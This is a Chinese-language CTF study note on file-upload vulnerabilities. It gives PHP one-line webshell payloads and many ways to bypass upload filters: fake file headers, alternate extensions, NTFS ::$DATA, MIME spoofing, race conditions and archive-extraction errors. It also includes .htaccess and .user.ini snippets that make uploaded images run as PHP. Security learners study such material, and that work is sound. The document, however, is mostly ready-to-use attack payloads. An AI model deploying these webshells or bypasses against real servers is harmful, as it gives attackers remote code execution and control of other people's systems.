漏洞原理
概述
通过上传一句话木马,根据服务器返回的文件位置,向该路径传递POST参数,控制服务器。
- 即webshell
<?php eval($_POST['a']); ?>
常见绕过
文件头绕过
文件类型 | 文件头HEX | 文件头内容 |
---|---|---|
PNG | 89504E47 | .PNG |
GIF | 474946383961 | GIF89a |
JPEG | FFD8FF | ... |
.
表示不可见内容
给php等文件添加文件头绕过
- php、asp、jsp等文件只要任意部位有解析标签就可以,文件头加上一串字符不影响解析。
拓展名绕过
发现php后缀被拦截,可用其他的后缀在进行绕过。
- phtml、pht、php、php3、php4、php5
- 还有:大小写绕过、点号绕过(win)、空格绕过(win)
::$DATA 绕过
(WIN)如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,效果就是不检查后缀名。
- 如:
a.php::$DATA
与a.php
等价
<?
绕过
<script language="php">
eval($_POST['zj'])
</script>
MIME
MIME类型用于HTTP协议,以告知服务器接收到的文件的类型。
可以通过抓包修改MIME类型,绕过验证。
- 注意:对于图片上传可能白名单只有jpeg,导致png也被禁用,测试注意不要只测png
条件竞争绕过
有些网站是先允许任何文件上传,在上传之后再验证,如果验证不通过再删除文件。
但是,攻击者可以利用上传后和删除前的时间大量发送请求,有可能能访问到webshell
文件解压绕过
通过修改压缩包二进制文件,使其在解压时出现错误,通过出错前已经解压出的一部分文件获取webshell。
原理是:在发生解压错误时,网站逻辑会进入异常处理的分支,而开发人员往往会忽视对已经解压的文件进行检验。
解析为php
.htaccess
- 适用于Apache
上传一个.htaccess
文件将指定文件内容解析为php程序
<FilesMatch "zj.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini
- 适用于Nginx
指定一个文件(如zj.jpg),将该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:include(zj.jpg);
上传的图片文件的地址其实指向了一个php文件:
- 例如
http://d2e89e76-3d3c-43ce-97ab-5a7db5826f78.node5.buuoj.cn/uploads/065831472858248584ff4993846d5065/index.php
- zj.jpg 在 index.php 的页面中,蚁剑也要连这个index.php
GIF89a
auto_prepend_file=zj.jpg
前端验证
网页弹窗显然是前端验证,直接抓包是没有用的,因为前端验证是在发送数据包给后端之前的,前端验证发生错误直接return了,不会发包给后端。
解决:F12,删除前端相应检测代码;假如是js脚本,(似乎chrome中删了也没用)可以直接在f12设置中,==禁用js功能!!!==
题目
- [极客大挑战 2019]Upload